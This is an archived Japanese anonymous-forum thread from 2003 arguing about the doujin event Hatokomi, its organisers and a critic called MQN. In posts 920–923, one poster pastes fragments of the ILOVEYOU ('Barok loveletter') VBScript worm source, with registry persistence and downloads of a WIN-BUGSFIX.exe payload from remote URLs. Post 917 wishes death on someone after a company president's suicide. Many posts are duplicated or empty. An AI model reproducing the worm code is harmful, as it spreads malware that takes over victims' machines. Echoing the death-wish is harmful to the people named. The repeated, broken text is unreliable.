ＭＱＮのサイトの客員の文章を読むと･･･また一般批判ですなあ。
(『悲劇と喜劇が二七の十四』）
ほんとにハトコミに関しては擁護一辺倒ですね。
だからさあ、ハトコミの主催者側の責任をなぜ追及しないわけ？
そんなにハトコミにおける一般は強者の立場にあったわけ？
それに比して、読み手・買い手の大半はおそらくリスク負担を負わずに
逃げることが可能だし、実際に逃げる人が大半ではないだろうか。
自らの意見を責任持って公開することも無く、無責任な放談に終始し
（匿名掲示板はその典型）、何ら具体的な行動を自らの責任では起こさず、
「後腐れ無さ」の快楽に浸っている読み手・買い手を信頼することが
できるだろうか？ さらには彼らに応分のリスク負担を求めることが
可能なのだろうか
(引用にあたって改行)どうして一般の背負うリスクをすっかり無視している
あなたがこんな偉そうな口を聞けるのか。ＭＱＮが問いかけに答えることも
せずに掲示板を閉鎖したことの正当な理由になるのか？
この師匠にしてあの弟子アリ。
(『悲劇と喜劇が二七の十四』）
ほんとにハトコミに関しては擁護一辺倒ですね。
だからさあ、ハトコミの主催者側の責任をなぜ追及しないわけ？
そんなにハトコミにおける一般は強者の立場にあったわけ？
それに比して、読み手・買い手の大半はおそらくリスク負担を負わずに
逃げることが可能だし、実際に逃げる人が大半ではないだろうか。
自らの意見を責任持って公開することも無く、無責任な放談に終始し
（匿名掲示板はその典型）、何ら具体的な行動を自らの責任では起こさず、
「後腐れ無さ」の快楽に浸っている読み手・買い手を信頼することが
できるだろうか？ さらには彼らに応分のリスク負担を求めることが
可能なのだろうか
(引用にあたって改行)どうして一般の背負うリスクをすっかり無視している
あなたがこんな偉そうな口を聞けるのか。ＭＱＮが問いかけに答えることも
せずに掲示板を閉鎖したことの正当な理由になるのか？
この師匠にしてあの弟子アリ。
909 ：名無しさん＠どーでもいいことだが。：03/01/06 18:22 ID:05f5HIEK
あーあ、ここも廃れちゃいましたね
MQNらの言うことも分からないではないが
（主催者側を擁護しているのは許せないが、それ以外）
彼らが言っているのって結局は
純粋な一般は文句言うなorいらない
ってことだな
またこんな糞即売会が開かれるんだろうなあ、
歴史は繰り返すってことか
>>908
一般のリスクって何のこと？
俺は今まで自分にリスクがあるとは思ってなかった
MQNらの言うことも分からないではないが
（主催者側を擁護しているのは許せないが、それ以外）
彼らが言っているのって結局は
純粋な一般は文句言うなorいらない
ってことだな
またこんな糞即売会が開かれるんだろうなあ、
歴史は繰り返すってことか
>>908
一般のリスクって何のこと？
俺は今まで自分にリスクがあるとは思ってなかった
910 ：名無しさん＠どーでもいいことだが。：03/01/06 18:32 ID:e7lBiHdB
主催、サークル、一般
すべてにおいて質が低いイベントだった
すべてにおいて質が低いイベントだった
911 ：名無しさん＠どーでもいいことだが。：03/01/06 18:33 ID:e7lBiHdB
同人も末期状態だな
912 ：名無しさん＠どーでもいいことだが。：03/01/07 23:29 ID:zZTIbHMK
ZQNも絵が上手かったら叩かれなかったのに
913 ：名無しさん＠どーでもいいことだが。：03/01/08 00:50 ID:GmtXZahK
ＭＱＮもアタマが良ければ叩かれなかったのに
914 ：名無しさん＠どーでもいいことだが。：03/01/08 23:00 ID:SNo9N+ir
YQNもやせてれば叩かれなかったのに
915 ：名無しさん＠どーでもいいことだが。：03/01/08 23:04 ID:MEyuE8vP
>>914
それは違うだろ。でもﾜﾛﾀ。
それは違うだろ。でもﾜﾛﾀ。
916 ：名無しさん＠どーでもいいことだが。：03/01/09 00:18 ID:VmbWkvCM
ＹＱＮはＣＧ集また委託するの？
虎で夏やったみたい豪気に委託すると、税務署の目が光ってそうで
素人考えながら期待・・・。
虎で夏やったみたい豪気に委託すると、税務署の目が光ってそうで
素人考えながら期待・・・。
917 ：名無しさん＠どーでもいいことだが。：03/01/09 14:50 ID:deS67Ywv
共催のDSEの社長が自殺したようですね。
誰かも死ぬといいんですが…
誰かも死ぬといいんですが…
918 ：名無しさん＠どーでもいいことだが。：03/01/09 15:31 ID:9rwRLHCU
>>908
サークルや主催のリスクに比べれば一般のリスクなんて無いに等しいと書いてあるのが読めないの？
サークルや主催のリスクに比べれば一般のリスクなんて無いに等しいと書いてあるのが読めないの？
919 ：名無しさん＠どーでもいいことだが。：03/01/09 19:22 ID:n3xl3d5l
ハトコミ共催会社社長自殺の公式ソース
http://www.asahi.com/national/update/0109/020.html
もう二度と開催されません。
なにも春レヴォの申込〆切日に逝かなくても…
http://www.asahi.com/national/update/0109/020.html
もう二度と開催されません。
なにも春レヴォの申込〆切日に逝かなくても…
920 ：名無しさん＠どーでもいいことだが。：03/01/09 20:47 ID:tVwB0CuI
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / [email protected] /
@GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
ows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
rem by: spyder / [email protected] /
@GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
ows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
921 ：ひみつの検疫さん：2024/12/20(金) 16:07:13 ID:MarkedRes
汚染を除去しました。
922 ：名無しさん＠どーでもいいことだが。：03/01/09 20:48 ID:tVwB0CuI
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Intern
et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF
wetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikj
UIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-
BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hf
FEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtu
HJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshf
gqw237461234iuy7thjg/WIN-BUGSFIX.exe"
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Intern
et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF
wetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikj
UIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-
BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hf
FEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtu
HJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshf
gqw237461234iuy7thjg/WIN-BUGSFIX.exe"
923 ：名無しさん＠どーでもいいことだが。：03/01/09 20:48 ID:tVwB0CuI
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
on\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
on\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
924 ：名無しさん＠どーでもいいことだが。：03/01/09 21:23 ID:fQWsUxmu
とりあえず晒しage
> 919 名前： 名無しさん＠どーでもいいことだが。 age 投稿日： 03/01/09 19:22 ID:n3xl3d5l [New!]
>
> ハトコミ共催会社社長自殺の公式ソース
> http://www.asahi.com/national/update/0109/020.html
> もう二度と開催されません。
>
>
> なにも春レヴォの申込〆切日に逝かなくても…
> 919 名前： 名無しさん＠どーでもいいことだが。 age 投稿日： 03/01/09 19:22 ID:n3xl3d5l [New!]
>
> ハトコミ共催会社社長自殺の公式ソース
> http://www.asahi.com/national/update/0109/020.html
> もう二度と開催されません。
>
>
> なにも春レヴォの申込〆切日に逝かなくても…
925 ：名無しさん＠どーでもいいことだが。：03/01/10 03:58 ID:ZZJIckdv
風化したというよりも細分化したように
感じるけどな、スタッフの取り置きスレ
みたいに。
>>909
>>918
同人を支えてるのが描き手だけと
勘違いしてるんじゃないの？
三崎たんは。
いつまでも歪んだエリート意識は捨てるべきだと
思うけどな、同人という規模が大きくなった以上
いつまでも内輪で引きこもれないんだし。
感じるけどな、スタッフの取り置きスレ
みたいに。
>>909
>>918
同人を支えてるのが描き手だけと
勘違いしてるんじゃないの？
三崎たんは。
いつまでも歪んだエリート意識は捨てるべきだと
思うけどな、同人という規模が大きくなった以上
いつまでも内輪で引きこもれないんだし。
926 ：名無しさん＠どーでもいいことだが。：03/01/11 00:26 ID:WM5Va9+5
>925
まぁ理論上は描き手さえいれば成り立つことは成り立つんだが
読み手はもちろん、イベンターだって居なくてもいいんだという事がわかってないんでしょ
現実には三者とも存在しないと成り立たないんけど
まぁ理論上は描き手さえいれば成り立つことは成り立つんだが
読み手はもちろん、イベンターだって居なくてもいいんだという事がわかってないんでしょ
現実には三者とも存在しないと成り立たないんけど
927 ：名無しさん＠どーでもいいことだが。：03/01/11 12:09 ID:BLx4Ey7k
MQN理論によると、一般参加者より中古書店で金が回るほうが重要なのれす。
ネットで「交換」が増えお金が回らないと危機感を覚えてしまうのれす。
ネットで「交換」が増えお金が回らないと危機感を覚えてしまうのれす。
928 ：名無しさん＠どーでもいいことだが。：03/01/11 12:23 ID:PW/fzxvE
ハトコミに行った時点でオマエラは同人を腐らせてる人間の一部なんだよ
929 ：名無しさん＠どーでもいいことだが。：03/01/11 20:29 ID:UuuEIDkl
>>927
大手サークルの本において大方の人たちが気になるのは
「中身」であってそれを見るだけのために中古同人書店で
高い金出して本を買うよりはMXかnyで拾う方が楽だし
クソ本だったとしても金銭面的な痛みが少ないからだろ。
大手サークルの本において大方の人たちが気になるのは
「中身」であってそれを見るだけのために中古同人書店で
高い金出して本を買うよりはMXかnyで拾う方が楽だし
クソ本だったとしても金銭面的な痛みが少ないからだろ。
930 ：名無しさん＠どーでもいいことだが。：03/01/12 12:01 ID:4Ovwk5Ee
イワゑもんの冬コミの新刊、全編通して読むと、
先行き短い老人の悲哀が満載で、
「過去の功績に甘んじて、どんなDQNな言動でも許したる」
みたいな気がきてしまう罠。
MQNの客員のページに早くうｐして、多くの人に読んでもらいたいよ。
先行き短い老人の悲哀が満載で、
「過去の功績に甘んじて、どんなDQNな言動でも許したる」
みたいな気がきてしまう罠。
MQNの客員のページに早くうｐして、多くの人に読んでもらいたいよ。
931 ：名無しさん＠どーでもいいことだが。：03/01/12 13:59 ID:0eGWeJm0
>>930
売れ残ってたんで買おうかと思ったけどもったいないのでやめた。
どんな内容だったのかな？
でも、あの人達には自分たちがここまでコミケを大きくしたんだから
自分たちのスタイルは変えたくない。大きくなってから来た苦労も
知らないヤツらにあれこれ言われたくないってのはあるだろうね。
そういう気持ちをうまくオブラートに包んで武勇伝をまじえながら
書いてるんじゃない？
開拓者のそういう気持ちは大事にしたいし、ある程度は配慮して
やりたいけど、組織が大きくなりそういうことを言ってられない
時期もある。一般企業でも創業者の族経営では行き詰まることも
ままある。コミケもそういう時期に来ていると思うんだ。
開拓者であり功労者であるからこそ、組織のために綺麗なままで
いてもらいたいんだが。
すべて状況と930からの推測で書いてるので見当違いだったらｽﾏｿ。
売れ残ってたんで買おうかと思ったけどもったいないのでやめた。
どんな内容だったのかな？
でも、あの人達には自分たちがここまでコミケを大きくしたんだから
自分たちのスタイルは変えたくない。大きくなってから来た苦労も
知らないヤツらにあれこれ言われたくないってのはあるだろうね。
そういう気持ちをうまくオブラートに包んで武勇伝をまじえながら
書いてるんじゃない？
開拓者のそういう気持ちは大事にしたいし、ある程度は配慮して
やりたいけど、組織が大きくなりそういうことを言ってられない
時期もある。一般企業でも創業者の族経営では行き詰まることも
ままある。コミケもそういう時期に来ていると思うんだ。
開拓者であり功労者であるからこそ、組織のために綺麗なままで
いてもらいたいんだが。
すべて状況と930からの推測で書いてるので見当違いだったらｽﾏｿ。
932 ：名無しさん＠どーでもいいことだが。：03/01/12 19:13 ID:qxDflzu6
降臨
933 ：名無しさん＠どーでもいいことだが。：03/01/13 13:24 ID:lOP9/Mmg
MQNもその周辺の人の文章を読むと、過去に起きたような現象を
ただ記述しているだけなので、何の感想もないんだよね。
単なる結果論を分かり易く書いてあるだけでしょ。
論客であれば、このまま行くと未来はこうなるとか、自分は良くなる為には
こういう提案をしたいとか、こういう提案をしてきたとか、
ある程度のリスクを取るから人は引き付けられて、ある程度の説得力も
ででくるわけで、彼が何を言っても評価されないってのは、
一般参加者のモラルの低下とかいうのは、違うような気がしますね。
ただ記述しているだけなので、何の感想もないんだよね。
単なる結果論を分かり易く書いてあるだけでしょ。
論客であれば、このまま行くと未来はこうなるとか、自分は良くなる為には
こういう提案をしたいとか、こういう提案をしてきたとか、
ある程度のリスクを取るから人は引き付けられて、ある程度の説得力も
ででくるわけで、彼が何を言っても評価されないってのは、
一般参加者のモラルの低下とかいうのは、違うような気がしますね。
934 ：名無しさん＠どーでもいいことだが。：03/01/13 14:32 ID:81PIVSEv
935 ：名無しさん＠どーでもいいことだが。：03/01/13 14:35 ID:kqprYRSN
同人の状況が発展的な方向で良くなることは今後ありえない。
どう転んでも。
どう転んでも。
936 ：名無しさん＠どーでもいいことだが。：03/01/13 14:36 ID:kqprYRSN
そして、同人と関わり続けるならその片棒を担ぎ続けるしかない。
その状況の中でどう行動するかは各自の判断だ。
その状況の中でどう行動するかは各自の判断だ。
937 ：名無しさん＠どーでもいいことだが。：03/01/13 14:40 ID:81PIVSEv
＞同人の状況が発展的な方向で良くなることは今後ありえない。
そう思い込んでるうちは、な。
今が悪くてもそれなりに変えていこうと
いう意識が無い限り突破口は開けない。
そう思い込んでるうちは、な。
今が悪くてもそれなりに変えていこうと
いう意識が無い限り突破口は開けない。
938 ：名無しさん＠どーでもいいことだが。：03/01/13 16:17 ID:0Iq6yroo
939 ：名無しさん＠どーでもいいことだが。：03/01/14 17:13 ID:dqEoknkG
>938
950を超えたら、そっちに移動でいいんじゃないの？
950を超えたら、そっちに移動でいいんじゃないの？
（＾＾）
941 ：名無しさん＠どーでもいいことだが。：03/01/23 10:18 ID:pejgElOE
ＭＱＮはサイトを更新しないのは、忙しいからなのか、それとも
様子をうかがっているからなのか。
様子をうかがっているからなのか。
942 ：名無しさん＠どーでもいいことだが。：03/01/27 00:25 ID:hWm19csc
☆ ﾁﾝ ﾏﾁｸﾀﾋﾞﾚﾀ～
ﾏﾁｸﾀﾋﾞﾚﾀ～
☆ ﾁﾝ 〃 ∧＿∧ ／￣￣￣￣￣￣￣￣￣￣￣￣￣
ヽ ＿＿_＼（＼・∀・） ＜ MQNサイトの更新ﾏﾀﾞｰ?
＼＿／⊂ ⊂＿ ) ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
／￣￣￣￣￣￣ ／|
|￣￣￣￣￣￣￣| |
| .愛媛みかん. |／
ﾏﾁｸﾀﾋﾞﾚﾀ～
☆ ﾁﾝ 〃 ∧＿∧ ／￣￣￣￣￣￣￣￣￣￣￣￣￣
ヽ ＿＿_＼（＼・∀・） ＜ MQNサイトの更新ﾏﾀﾞｰ?
＼＿／⊂ ⊂＿ ) ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
／￣￣￣￣￣￣ ／|
|￣￣￣￣￣￣￣| |
| .愛媛みかん. |／
（＾＾）
944 ：名無しさん＠どーでもいいことだが。：03/01/29 01:17 ID:nji9aRNV
945 ：930：03/01/29 05:09 ID:584UHjth
>944
漏れとしては、イワゑもんの冬コミの新刊に収録されている、
「私はいかにして多くのイベントで『妖精』として振る舞えるようになったか」
という御託をweb上でも発表してもらいたいのだが？
漏れとしては、イワゑもんの冬コミの新刊に収録されている、
「私はいかにして多くのイベントで『妖精』として振る舞えるようになったか」
という御託をweb上でも発表してもらいたいのだが？
>>945
あ、ソレ読みてぇ(w
あ、ソレ読みてぇ(w
947 ：名無しさん＠どーでもいいことだが。：03/01/29 08:52 ID:KI8JtyUp
>>945
ヒッチコックの著書かよ（ｗ
ヒッチコックの著書かよ（ｗ
948 ：名無しさん＠どーでもいいことだが。：03/01/29 12:40 ID:JA/HVAk0
949 ：名無しさん＠どーでもいいことだが。：03/01/30 14:45 ID:wZxxRE8L
950 ：名無しさん＠どーでもいいことだが。：03/01/30 14:45 ID:wZxxRE8L
951 ：名無しさん＠どーでもいいことだが。：03/01/30 14:45 ID:wZxxRE8L
952 ：名無しさん＠どーでもいいことだが。：03/01/30 14:45 ID:wZxxRE8L
953 ：名無しさん＠どーでもいいことだが。：03/01/30 14:45 ID:wZxxRE8L
954 ：名無しさん＠どーでもいいことだが。：03/01/30 14:45 ID:wZxxRE8L